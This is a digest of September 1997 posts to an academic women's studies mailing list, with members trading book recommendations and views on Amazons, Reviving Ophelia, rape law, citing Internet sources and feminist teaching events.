Studies List From: Cat Farrar Subject: Amazons Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" This page is maintainted by Thomas Gramstad. He is also very knowledgable about gender issues. http://www.math.uio.no/~thomas/lists/amazon-links.html As far as modern day Amazons, Ripley (Aliens); Sarah (Terminator 2); The Abyss and Angela Bassett (Strange Days) Cat Farrar cat@cfmc.com ++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++ CAT FARRAR cat@cfmc.com ""Is it honest?"" ""Is it kind?"" ""Is it necessary?"" ++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++ ========================================================================= Date: Mon, 22 Sep 1997 15:48:55 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Susan Koppelman Subject: Re: the good provider Fannie Hurst published a short story called ""The Good Provider"" in the --Sat. Eve Post -- Aug. 15, 1914. It was included in her first (of 9) volume of short stories: --Just Around the Corner: Romance En Casserole-- Harper & Bros., 1914. It is listed in the 1915 (first volume) of Best American Short Stories' Index of Short Stories with two asterisks, indicating that it deserves a permanent place in literature according the Edward O'Brien, the founding editor. ""The Good Provider"" was reprinted twice that I have located so far. First in --Contemporary Short Stories -- edited by Dartmouth Prof. of Enlighs Kenneth Allan Robinson, Houghton, Mifflin 1924 and in --Recent Short Stories-- ed. by Margaret Pendleton & David S. Wilkins, Appleton, 1928. The use of the term ""Good Provider"" is not explained, as if there is no need for an explanation of something so commonly understood. The story is filled with the kind of ironies that Hurst does so well and that rely heavily on a shared understanding with her readers, so it is obvious that the term, the concept, was in common use well before 1914. I hope this is useful. Susan Koppelman <> ========================================================================= Date: Mon, 22 Sep 1997 15:50:25 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Regina Marie Buccola Subject: Re: amazons In-Reply-To: <305C0300144@library.mhc.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am not sure if your student is focusing her attention on a particular period or nation, but Simon J. Shepherd has a book that explores precisely this issue in early modern British lit. (including plays and poetry) called _Amazons and Warrior Women_. Though I do not have the information at ready recall, I believe he does do etymylogical work of the kind that you mention here (i.e. -- first occurence of ""hero"" and ""heroine"") gina buccola On Mon, 22 Sep 1997, BETTY POWELL wrote: > Members of the List, > I have a student who is interested in doing her senior seminar paper > on the female hero and amazons. she hasn't yet focused the topic, > but is wondering when the word ""hero"" was first applied to a female. > So far, what we find is the use of ""heroine"" rather than hero. Also, > she's looking into the amazon figure and it metamorphosis in > literature. Any hints on either/both of these? > > Betty J. Powell > bpowell@mhc.edu > ========================================================================= Date: Mon, 22 Sep 1997 15:54:01 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Angela E Hubler Subject: critique of Reviving Ophelia In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am in search of bibliographic help. Has anyone read a review or essay on Mary Pipher's _Reviving Ophelia_ that focuses either on her failure to actually suggest the kind of cultural changes necessary to address the problems she discusses, or her final set of case studies ""of five strong young women?"" (I agree with the fact that they are strong. What bothers me is that although she has dealt only with the problems of white girls in the previous parts of the book, with the exception of two American Indians girls, in her final examples she points out that ""two of the young women are black, one is Hispanic and three are poor. Properly faced, adversity builds character."" It strikes me that if Pipher had addressed the specificity of the issues faced by female adolescents of color and of those who are poor, her calls for change would have to be more thoroughgoing.) I can't be the first person who has noticed this, and I'd like to read any examples of such criticism. Let me hasten to say that I have just finished teaching this book in a course called ""Stories of A Young Girl"" and my students really liked it. I think it would work well in an intro. class, especially paired with a text like hooks _Feminist Theory from Margin to Center_ which provides a coherent way of theorizing the issues Pipher raises in the book. I would be surprised if the 18 years olds in the group for whom an earlier poster would think they ""were beyond"" the book. Angela Hubler lela@ksu.edu ========================================================================= Date: Mon, 22 Sep 1997 17:28:14 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Ruby Rohrlich Subject: Re: amazons Comments: To: BETTY POWELL In-Reply-To: <305C0300144@library.mhc.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The word ""hero"" was probably first applied to women at the same time as the ""ess"" was dropped from authoress, actress, resulting in author, poet, actor, hero, etc.. being used for women as well as for men. This occurred in the 1970s, I don't know the exact date. Ruby Rohrlich rohrlich.gwis2.circ.gwu.edu ========================================================================= Date: Mon, 22 Sep 1997 17:35:17 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Ruby Rohrlich Subject: Re: Marital rape/cultures without rape Comments: To: ""Leah C. Ulansey"" In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The cultures that have no rape, either in words or behavior, are discussed by anthropologist Peggy Sanday. I don't remember the name of the book but if you look at a list of her works, the title of the book on rape will suggest itself. Ruby Rohrlich rohrlich@gwis2.circ.gwu.edu ========================================================================= Date: Mon, 22 Sep 1997 18:15:59 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: beatricekachuck Subject: Re: good provider In-Reply-To: <19970921.132239.-28769.2.justakid2@juno.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" That the Good Provider is God, the single, male deity in the major Semitic religions (Judaism, Christianity, Islam) seems clear from the capital letters. He provides nature, as Descartes explains it, gives and men the minds to comprehend its laws by right reasoning. The concept of the Good Provider thus seems prior to the 16th century and may be the source from which people who believe in that deity derive the understanding that men, not women, provide the fundamentals for living. It may complicate matters for the student who asked about the Good Provider, but it would be useful, I think, to compare that belief with others. At a feminist seminar in India, in a discussion of Indian philosophy, the belief in one, male god was contrasted with a belief in goddesses (included in the Hindu pantheon). Does it empower women, a seminar participant asked, to have goddesses? A participant who is a historian of ancient and recent India pointed out that deities come from mythologies, which become associated with other systems of thought. The politics of those systems in respect to gender relations came out in other participants' calling attention to the difference between beliefs in the attributes of goddesses and real women. A similarity of connections of religion to politics was striking to me in my recent rereading of Elaine Pagels, a historian and admirer of Christianity. She shows that religious insights and moral choices coincide with practical ones and moral choices are often political choices; her examples show how the Christian doctrine of original sin grounds the acceptance of secular governance. The understanding of a link between religious beliefs and politics, made explicit in relation to the politics of gender relations in India, is unmistakable in the two very different cultural contexts. beatrice bkachuck@cuny.campus.mci.net ========================================================================= Date: Mon, 22 Sep 1997 17:59:56 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Susan Koppelman Subject: Re: critique of Reviving Ophelia In a message dated 97-09-22 16:57:40 EDT, you write: << Has anyone read a review or essay on Mary Pipher's _Reviving Ophelia_ that focuses either on her failure to actually suggest the kind of cultural changes necessary to address the problems she discusses, >> I don't think you are ""guilty"" of the issue I want to raise. I imagine you are wanting something to use in class to balance the impact of the book without being the one to do it in her own voice for pedagogical reasons, but I would like to raise an issue about reviewing of books in general. Does anyone think that a writer who, in a book that clearly analyzes problems, is under an obligation to provide or to suggest solutions? So often I read reviews of books in which the writer is congratulated for a clear analysis of problems but then chided much more vigorously than she has been congratulated for not providing solutions. I am VERY bothered by this. First of all, someone who pays a lot of attention to problems and how they work may not be the best person to provide solutions because it mostly involves projecting models of health based on a thorough going knowledge of illness, rather than on a study of health. Second, it takes tremendous energy and dedication and more often than not courage to face the problems. If someone has what it takes to do that, must they also be required to conquor the additional task of figuring out how to make things right before we take their analysis of what's wrong to heart and set out as a community to look for solutions? Third, what if the writer provides a great analysis of the problems and suggests terrible solutions. How is the value of the analysis of the problems affected by this? Often, those who chide a writer for this kind of failure is only using the chiding as a springboard to write about the reviewers' own ideas about solutions. It's not fair to the book or the writer, I don't think. Any thoughts? In Sisterhood, Susan Koppelman <> ========================================================================= Date: Tue, 23 Sep 1997 00:37:29 +0200 Reply-To: thomasg@ifi.uio.no Sender: Women's Studies List From: Thomas Gramstad Subject: Re: amazons Comments: cc: i.m.h.nass@sfk.uio.no In-Reply-To: BETTY POWELL 's message of Mon, 22 Sep 1997 14:33:28 -0400 Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable > I have a student who is interested in doing her senior seminar paper > on the female hero and amazons. she hasn't yet focused the topic, Salmonson, Jessica Amanda (1992):The Encyclopedia of Amazons: Women Warriors from Antiquity to the Modern Era. Anchor Books. Walker, Barbara G. (1983): The Woman's Encyclopedia of Myths and Secrets. HarperCollins, New York. Monaghan, Patricia (1990): The Book of Goddesses and Heroines. Llewellyn Publications. All these books provide an overview, are full of examples and contain a lot of references to other works. Here at the university of Oslo, there is a graduate student studying the female action hero in movies from the 80es and 90es. Her name is Margret Helgad=F3ttir N=E6ss, and she may be contacted at i.m.h.nass@sfk.uio.no. > but is wondering when the word ""hero"" was first applied to a > female. So far, what we find is the use of ""heroine"" rather than > hero. Also, she's looking into the amazon figure and it > metamorphosis in literature. Any hints on either/both of these? I can't help you with the former, but Larson, Jennifer (1995): Greek Heroine Cults. The University of Wisconsin Press, Madison. is good on the latter, within the Hellenistic period; and the encyclopedias above may be helpful here too. Thomas Gramstad thomasg@ifi.uio.no The Amazon Connection -- Links to Amazon web sites: http://www.math.uio.no/~thomas/lists/amazon-links.html ========================================================================= Date: Mon, 22 Sep 1997 16:39:25 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Lisa Palmer Subject: another rape question Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" One of the students in a class I'm teaching asserted that in some states a male (of any age) can be arrested for having sex with a (female) minor whereas a female cannot be charged with rape for having sex with a (male) minor. Can anyone help me out with the facts here? Is this true? (I know it's not true across the board--I'm aware of the highly publicized case of the female teacher in Washington State recently convicted and jailed for having had sex with her (male) student, and presently bearing his child.) Lisa (lpalmer@ucla.edu) ========================================================================= Date: Mon, 22 Sep 1997 21:20:41 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: DAPHNE PATAI Subject: critiquing problems and providing solutions Comments: cc: DAPHNE PATAI In-Reply-To: <970922172217_-1965275646@emout08.mail.aol.com> MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit I agree entirely with Susan Koppelman's observations that writers are often inappropriately discredited for not (also) providing solutions to the problems they analyze. This occurs on all political sides and seems to show unreasonable expectations on the reviewer's (or reader's) part that All Answers will come from one source. Susan is obviously correct that the validity of the analysis is not affected by the ability or inability to come up with solutions. -- ====================== Daphne.Patai@spanport.umass.edu ========================================================================= Date: Mon, 22 Sep 1997 20:19:40 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Melodye G Lehnerer Subject: in the Company of men -Reply Shahin When and where is this film showing? Melodye ========================================================================= Date: Mon, 22 Sep 1997 22:26:30 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""David F. Austin"" Subject: Re: another rape question In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >One of the students in a class I'm teaching asserted that in some states a >male (of any age) can be arrested for having sex with a (female) minor >whereas a female cannot be charged with rape for having sex with a (male) >minor. Can anyone help me out with the facts here? Is this true? If memory serves, this is true. For details, see: Richard A. Posner and Katharine B. Silbaugh _A guide to America's sex laws_ (Chicago: University of Chicago Press, 1996). If the book is inaccessible to you, let me know via e-mail. David F. Austin Associate Professor of Philosophy Department of Philosophy and Religion Box 8103 North Carolina State University Raleigh, NC 27695-8103 Winston 006 (919) 515-6333 FAX (919) 515-7856 -------------------------------------------------- ""No good deed goes unpunished."" Oscar Wilde ""Just say 'No'."" Nancy Reagan ========================================================================= Date: Mon, 22 Sep 1997 20:25:02 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Thomason Subject: Whose voice? Was Re: credentials & research In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" I've recently begun reading ""Who Can Speak: Authority and Critical Identity"" edited by Judith Roof and Robyn Wiegman (Urbana and Chicago: University of Illinois Press, 1995). There are a number of articles that address not only the issues raised so eloquently by Max but also some of the issues that have arisen in recent discussions of Chicana feminism. I've been thinking a lot about the discussions of chicana feminism. My experience at Cal State Northridge was the Chicana feminism was very well established as a field before women's studies. I As luck would have it, last night I came upon my copy of one of the early numbers of Encuentro Femenil --vol 1, no 2 published in 1974. Anna Nieto-Gomez, one of the editors, and also editor of curriculum guides ""for the development of women studies on La Mujer Chicana"" was a leader in establishing a Women's Studies Minor at Cal State University, Northridge. I recall that the Chicano Studies program was already in place as we were developing the Women's Studies program in 1974. I think it is important to remember our (WS) history--to remember, for example, that Chicana feminists were leaders on many fronts and that their work has been foundational for women's studies. This knowledge should inform the way we think about Chicana feminism and its relationship to WS, e.g. Another book that may be relevant to recent discussions, and at which I'm nibbling, is ""Feminist Genealogies, Colonial Legacies, Democratic Futures"" edited by M. Jacqui Alexander and Chandra Talpade Mohanty (New York and London: Routledge), 1997. This is an exciting book in part because it places the experience of women of color (and especially immigrant WOC) in the center, which makes for a very different conversation than if one takes European-based women's studies as a basis and then asks about (e.g.) Chicana feminism. The woman who was looking for information on Chicana feminism might check out Paula Moya's article in this book: Postmodernism, ""Realism,"" and the Politics of Identity: Cherrie Moraga and Chicana Feminism."" Best, Jackie __________ Jackie Thomason 510-547-1518 jackiet@sirius.com; Msjackiet@aol.com __________ ========================================================================= Date: Mon, 22 Sep 1997 20:32:24 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Thomason Subject: Re: Marital rape/cultures without rape Comments: To: ""Leah C. Ulansey"" In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" You can probably find the info you are looking for (about current stuff anyway) in ""A Guide to America's Sex Laws"" by Richard A. Posner and Katharine B. Silbaugh (Chicago and London: University of Chicago Press), 1996. Of course this info does change--though not *nearly* quickly enough!--so you'd want to verify currency. Best, Jackie __________ Jackie Thomason 510-547-1518 jackiet@sirius.com; Msjackiet@aol.com __________ ========================================================================= Date: Tue, 23 Sep 1997 04:51:25 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: THAT Subject: Re: in the Company of men -Reply In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" This film is currently showing in Chicago... and this film has created a storm of controversy and debate... And for good reason. This film is the story of two men and their quest to destroy a woman for the fun of it. ""In the Company of Men"" doesn't portray misogyny and sexism in the cutesy ""boys-will-be-boys"" style of television shows like ""Men behaving Badly."" No, this film is blatant, angry, hateful, and spiteful... to say the least. The film draws a clear connection betwen the two main male character's sexism and the cutthroat, competitive corporate culture where they work. At 08:19 PM 9/22/97 -0600, you wrote: >Shahin >When and where is this film showing? >Melodye > > > THAT@unforgettable.com http://www.geocities.com/wellesley/2122 ========================================================================= Date: Tue, 23 Sep 1997 07:45:24 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Women's Presses Library Project, Mev Miller"" Subject: Re: amazons Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Though not really academic, the web site for Amazon FEMINIST Bookstore in Minneapolis, MN has some information about amazons on their web site. http://www.amazonfembks.com - from main page go to ""Who are the amazons"" It's not a lot but will get her started. Mev >Members of the List, >I have a student who is interested in doing her senior seminar paper >on the female hero and amazons. she hasn't yet focused the topic, >but is wondering when the word ""hero"" was first applied to a female. >So far, what we find is the use of ""heroine"" rather than hero. Also, >she's looking into the amazon figure and it metamorphosis in >literature. Any hints on either/both of these? > >Betty J. Powell >bpowell@mhc.edu WOMEN'S PRESSES LIBRARY PROJECT ""...keeping women's words in circulation"" Mev Miller Project Coodinator 1483 Laurel Ave. St. Paul, MN 55104-6737 612-646-0097 612-646-1153 (fax) wplp@winternet.com ========================================================================= Date: Tue, 23 Sep 1997 08:38:05 -0500 Reply-To: ginzberg@beloit.edu Sender: Women's Studies List From: Ruth P Ginzberg Subject: Library System MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Hi, I saw this in today's electronic version of the Chronicle of Higher education, and would like to know more about it! Is there anything that I can give to my students to help teach them how to cite Internet info properly? Many of them use Internet sources, and I would sure like to see them learning better methods of citing their sources! * THE ASSOCIATION OF AMERICAN PUBLISHERS on Monday introduced a new, voluntary system for electronically identifying material posted on the Internet. The association hopes that, eventually, publishers throughout the world will use the system on all books, articles, and scholarly journals to make it easier to obtain information about the origin and ownership of electronic material and about rights to and restrictions on its use. Ruth ginzberg@beloit.edu Women's Studies Beloit College ========================================================================= Date: Tue, 23 Sep 1997 10:08:58 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Andrea J Benintende Subject: Re: critique of Reviving Ophelia In-Reply-To: <970922172217_-1965275646@emout08.mail.aol.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII i could be mis-speaking, but i think that the author is a therapist by trade, and not to excuse any shortcomings on her part regarding race and class issues, we therapists are not generally given *any* training on these issues when in school. people are assumed to be *all* the same and poorness or rage about racism is generally looked at as ""poor adjustment."" it is shamful, this lack of addressing the these issues, but i have found not all that unusal. i took a graduate class a few years ago, ""readings in feminist theory."" most of the students were not in the AMS dept. and many had great difficulty with the race/class issues. many were hostile and defensive and really creamed the professor during feedback in the final class. and these were ""well"" educated women, who already had 4 yr. degrees in areas such as education, philosophy, social sciences, social work, women;s studies and so forth. ophelia seems to have done a pretty good job of pointing out to white, educated, middle class parents that their daughters *are* affected by patriarchy, and they better start paying attention to it and do something about it. andrea ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ andrea j. berman-benintende, holistic therapist ajb9@acsu.buffalo.edu state university of new york at buffalo what is the source of our first suffering? it lies in the fact that we hesitated to speak. it was born in the moment when we accumulated silent things within us. _gaston bachelard ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ========================================================================= Date: Fri, 19 Sep 1997 10:22:51 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Jeraldine Kraver Subject: Re: amazons Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Hello Betty: Has your student looked at Camille Paglia's discussion of amazons in SEXUAL PERSONAE--I know that CP is not everyone's cup o' tea. However, she is provocative and her discussion is a kick, Hope all is well with you. Jeri Kraver >Members of the List, >I have a student who is interested in doing her senior seminar paper >on the female hero and amazons. she hasn't yet focused the topic, >but is wondering when the word ""hero"" was first applied to a female. >So far, what we find is the use of ""heroine"" rather than hero. Also, >she's looking into the amazon figure and it metamorphosis in >literature. Any hints on either/both of these? > >Betty J. Powell >bpowell@mhc.edu > > Jeraldine R. Kraver Assistant Professor of English Texas A&M International University Laredo, Texas 78045 (956) 326-2630 jkraver@tamiu.edu ========================================================================= Date: Tue, 23 Sep 1997 10:23:18 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Elizabeth Ann Kilgore Subject: Thanks from a new teacher In-Reply-To: <9709230410.AA15031@oak.cats.ohiou.edu> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Many thanks to all who responded to my questions about support to students who teach. You'll be happy to know that I am now talking with our university's Center for Teaching Excellence about getting a support group for TAs started, and we are also getting a listsrev up and running for those who cannot attend meetings. Again, thanks so much--- your ideas have not only hepled me, but will be helping many graduate students at Ohio University. Sincerely, Beth Kilgore ek871492@oak.cats.ohiou.edu ========================================================================= Date: Tue, 23 Sep 1997 10:30:26 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Miriam E. Joseph"" Organization: SAINT LOUIS UNIVERSITY St. Louis, MO Subject: Re: Citing Internet Sources (R. Ginzberg query) MIME-version: 1.0 I refer students to ""Electronic Styles: A Handbook for Citing Electronic Information"" by Xia Li and Nancy B. Crane, now in its 2nd ed. (1996). It's published in Medford, NJ by Information Today, Inc. (ISBN: 1-57387-027-7). It's a paperback, around $20 as I recall. It is enormously detailed with lots of examples (http, ftp, gopher, telnet, etc.) and runs about 200 pages. The 1st ed was based on APA (American Psychological Association) format. This 2nd ed updates that (APA Embellished Style), plus adds a second section that is based on MLA (Modern Langauge Association) (MLA Embellished Style) format so that the handbook might serve humanists as well as social scientists. New editions of the APA Manual, Turabian, MLA, etc. have been incorporating electronic citation formats, but none of them to the extent of Li and Crane. Miriam Miriam E. Joseph Reference Librarian Pius XII Memorial Library Saint Louis University josephme@slu.edu (314) 977-3584 ========================================================================= Date: Tue, 23 Sep 1997 12:18:58 EST Reply-To: Women's Studies List Sender: Women's Studies List From: ""Gina Oboler, Anthropology & Sociology, Ursinus College"" Subject: Colleges with Academic Support Programs Friends, I turn to this list as a community of friends who may be able to help me. Joan, I hope it's OK that this message isn't about women's studies. Anyone who replies, please do so privately, not to the list. My younger daughter is currently involved in a college search. She has a diagnosed learning disability and we are looking primarily at colleges with extensive academic support for same. She prefers a small college within a day's driving distance of Philadelphia. A sort of counter- cultural environment (not heavy Greek activity, liberal social attitudes) would also be a plus. She prefers a four-year program (and we are aware that there are several excellent 2-year programs). She is a good student academically, got a good score on an (untimed) SAT, but has difficulty with writing and spelling without the aid of word-processing. Any suggestions? Please reply privately. Thanks. (P.S. We already have an extensive list of colleges, but my reason for posting here is trying to uncover programs we may be unaware of if they are not widely advertised.) -- Gina ========================================================================= Date: Tue, 23 Sep 1997 11:15:48 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Karola Alford Organization: Eastern Illinois University Subject: Re: critique of Reviving Ophelia MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Andrea J Benintende wrote: > > i could be mis-speaking, but i think that the author is a therapist by > trade, and not to excuse any shortcomings on her part regarding race and > class issues, we therapists are not generally given *any* training on > these issues when in school. people are assumed to be *all* the same Andrea, I am happy to report that in many counselor training programs, this is changing. My training did include intensive work in cultural diversity and there is a growing body of work related to how culture interfaces with therapeutic issues. It's an exciting area! Karola Alford cfka@eiu.edu Eastern Illinois University ========================================================================= Date: Tue, 23 Sep 1997 12:36:01 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Patrice McDermott Subject: Re: Library System Comments: To: Ruth P Ginzberg In-Reply-To: <199709231338.IAA15278@beloit.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The system announced by AAP has nothing to do with citations. For that, I would suggest CITING ELECTRONIC MATERIALS WITH THE NEW MLA GUIDELINES http://www-dept.usm.edu/~engdept/mla/rules.html THe AAP system is for TRACKING access to digital information for purposes of charging for each and every access and /or use. I did not see anything in their announcement (and have not heard in their discussions of the Digital Object Information) about educational use or ""fair use."" While authors and publishers certainly have pecuniary interests to protect (and a right to protect them), this is not an initiative that educators and librarians should unreservedly support. Patrice McDermott patricem@CapAccess.org On Tue, 23 Sep 1997, Ruth P Ginzberg wrote: > Hi, > > I saw this in today's electronic version of the Chronicle of Higher > education, and would like to know more about it! Is there anything that I > can give to my students to help teach them how to cite Internet info > properly? Many of them use Internet sources, and I would sure like to see > them learning better methods of citing their sources! > > * THE ASSOCIATION OF AMERICAN PUBLISHERS on Monday introduced a > new, voluntary system for electronically identifying material > posted on the Internet. The association hopes that, > eventually, publishers throughout the world will use the > system on all books, articles, and scholarly journals to make > it easier to obtain information about the origin and > ownership of electronic material and about rights to and > restrictions on its use. > > Ruth > ginzberg@beloit.edu > > Women's Studies > Beloit College > ========================================================================= Date: Tue, 23 Sep 1997 12:49:53 EST Reply-To: Women's Studies List Sender: Women's Studies List From: STRETCH OR DROWN/ EVOLVE OR DIE Subject: electronic citations Comments: To: WMST-L%UMDD.Bitnet@pucc.PRINCETON.EDU Ruth and anyone else who is interested: I have an electronic document on citing electronic sources which I am almost certain that I got from this list a couple of years ago. I pass it on to any student who asks me about this question. I'm certain that it is among the files that you can request from listserv. I think the file is called CITING MLA. Hope that helps. Laurie Finke finkel@kenyon.edu ========================================================================= Date: Tue, 23 Sep 1997 12:48:28 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Deborah J.C. Morrow"" Subject: Take Back the Night Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" This is a question for Women's Studies Programs. How many of you participate in Take Back the Night Marches and/or Rallies? When did your program begin such a thing? And if you know, where did the ""first"" TBTN occur? Also, if your program doesn't have such a thing, have you heard of Take Back the Night in your community? Deb Morrow corzines@siu.edu _____..---======+*+=======---.._____ ___Deb Morrow________,-='=====____ ============== _____=====`= (._corzines@siu.edu____) - _-=_/ `------=+=-------' / /__...---==='---+---_' '----'---.___ - _ = _.-' Explore all your options -- `-------' something might surprise you! ========================================================================= Date: Tue, 23 Sep 1997 15:30:42 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Cynthia A Johnson Subject: Berkshires Women's History Conference In-Reply-To: <009BABA3.55071C60.72@acad.ursinus.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I know this was recently posted, but I deleted the message. Can someone send me information on when and where the Berkshires Women's History Conference will be this year? Thank you, Cynthia A. Johnson Barnard College Library caj14@columbia.edu ========================================================================= Date: Tue, 23 Sep 1997 17:11:08 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Miriam Harris Subject: Re: Take Back the Night In-Reply-To: <3.0.1.32.19970923124828.007083ac@saluki-mail.siu.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII take a look at two books for the history of TBTN: My Jewish Face, by Melanie Kaye/Kantrowitz (Spinsters/Aunt Lute 1990) and Fight BAck: Feminist Resistance to Male Violence, ed by Frederique Delacoste and Felice Newman (Cleis, 1981) Miriam K. Harris, Ph.D. mharris@utdallas.edu 972/866-6711 ph. 214/630-1169 fx. On Tue, 23 Sep 1997, Deborah J.C. Morrow wrote: > This is a question for Women's Studies Programs. How many of you > participate in Take Back the Night Marches and/or Rallies? When did your > program begin such a thing? And if you know, where did the ""first"" TBTN > occur? > > Also, if your program doesn't have such a thing, have you heard of Take > Back the Night in your community? > > Deb Morrow > corzines@siu.edu > _____..---======+*+=======---.._____ > ___Deb Morrow________,-='=====____ ============== _____=====`= > (._corzines@siu.edu____) - _-=_/ `------=+=-------' > / /__...---==='---+---_' > '----'---.___ - _ = _.-' Explore all your options -- > `-------' something might surprise you! > ========================================================================= Date: Tue, 23 Sep 1997 16:28:28 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Linda Garber Subject: Feminist Teaching Symposium MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Please feel free to repost this announcement. Linda Garber Assistant Professor Women's Studies CSU Fresno Please direct inquiries about the symposium to Rain Healer at (209) 278-2858, email rh064@csufresno.edu . > > ***** > > CSU Fresno Women's Studies Program invites you to the first annual > > Feminist Teaching Symposium > > Saturday, November 1, 9:30 a.m.-5 p.m. > University Business Center > California State University Fresno > > ! ! ! ! ! ! ! ! ! ! > > Meet! helpful colleagues > > Swap! tales of classroom triumphs and tribulations > > Exchange! teaching resources > > Strategize! classroom approaches > > Watch! relevant, entertaining videos > > Eat! institutionally prepared box lunches > > Browse! current publications on women, girls, and teaching > > > Spend the day with colleagues (college/university and K-12) > discussing topics you identify as useful to your teaching. > > > ! ! ! ! ! ! ! ! ! ! > > > Here's the agenda: > > 9:30 a.m. Introduction, University Business Center auditorium, > California State University, Fresno > > 10:00 a.m. First group discussion sessions, UBC & Peters Building > (Note: Discussion topics for all sessions will be determined by your > votes. See next page.) > > 11:15 a.m. Second group discussion sessions, UBC & Peters Building > > 12:30 p.m. Break for lunch (box lunches provided) > > 2:00 p.m. Third group discussion sessions, UBC & Peters Building > > 3:15 p.m. Fourth group discussion sessions, UBC & Peters Building > > 4:30 p.m. Closing, University Business Center auditorium > > Films! > All day long, we will be screening new and outstanding videos relevant > to women's studies and to girls and women in education. > > Books! > Barnes & Noble will provide a display of recent titles on girls, > women, and pedagogy for browsing and purchase. A second display will > showcase recent publications by CSU Fresno faculty about girls and > women. > > Resources! > Be sure to bring multiple copies of materials you want to share and > swap: bibliographies, lesson plans, syllabi . . . > > > ! ! ! ! ! ! ! ! ! ! > > Easy directions to CSUF: From north or south, take Hwy. 99 to Herndon > (the northernmost Fresno exit). Go east on Herndon for approximately > 10 miles. Turn right on Cedar. Pass Sierra and Bullard Aves., then > turn left on Barstow. (You'll see the new softball stadium on the SE > corner.) Turn right on the fourth street, Woodrow Ave., then turn > right into parking lot J. > > Free parking in lot ""J"" - No permit necessary. > Ticketing in handicapped, red, & loading zones. > > ! ! ! ! ! ! ! ! ! ! > > Register now! Operators are standing by... > > > Your name > Institution > Position > Address > > email > phone > check here for vegetarian lunch > > Circle up to eight topics (including topics you suggest) for sessions > that you want to attend. Add suggested topics below. > This is your symposium. > > successful first-day strategies > non-sexist K-12 resources > course evaluations > resistance to taking women's studies seriously > teaching about affirmative action > responding to angry white students > teaching about lesbian/gay issues > girls and academic self-esteem > evaluating student work > dealing with angry parents > climate for women's studies in the academy > high school women's studies > the religious right & the classroom > men in women's studies classes > diversity: beyond tokenism > teaching and the internet > coping with postfeminist attitudes > positive role models for boys/men > community service > guest speakers in the classroom > womenUs studies and General Ed. > hate crimes & ""teaching tolerance"" > teaching about stereotypes > activism and the classroom > non-sexist elementary resources > children's literature > resource swap meet > > > > > > > Registration (lunch included) is only $10 if postmarked by October 10 > After October 10, including the day of the symposium, registration > will be $15 > > Send check payable to ""CSU Foundation"" to > Attn: Feminist Teaching Symposium > Women's Studies Program > California State University, Fresno > Fresno, CA 93740-0078 > > For more info. contact Rain Healer: (209) 278-2858; > email rh064@csufresno.edu > ========================================================================= Date: Tue, 23 Sep 1997 19:29:59 EST Reply-To: Women's Studies List Sender: Women's Studies List From: ""Daley, Ginny"" Subject: New Web Site: Women's Liberation Movement (fwd) The Women's Liberation Research Network(WLRN) now has a website located at http://www.duke.edu/~ginnyd/wlrn.html Here you will find a directory of scholars, teachers, activists, publishers, archivists, and librarians interested in research related to the U.S. Women's Liberation Movement. This can be a great resource for those developing dissertation topics, publication projects or conference panels. Also available at the website is information about special library and archival collections related to the women's lib movement, various research and documentation projects, publishers seeking manuscripts, and how to join 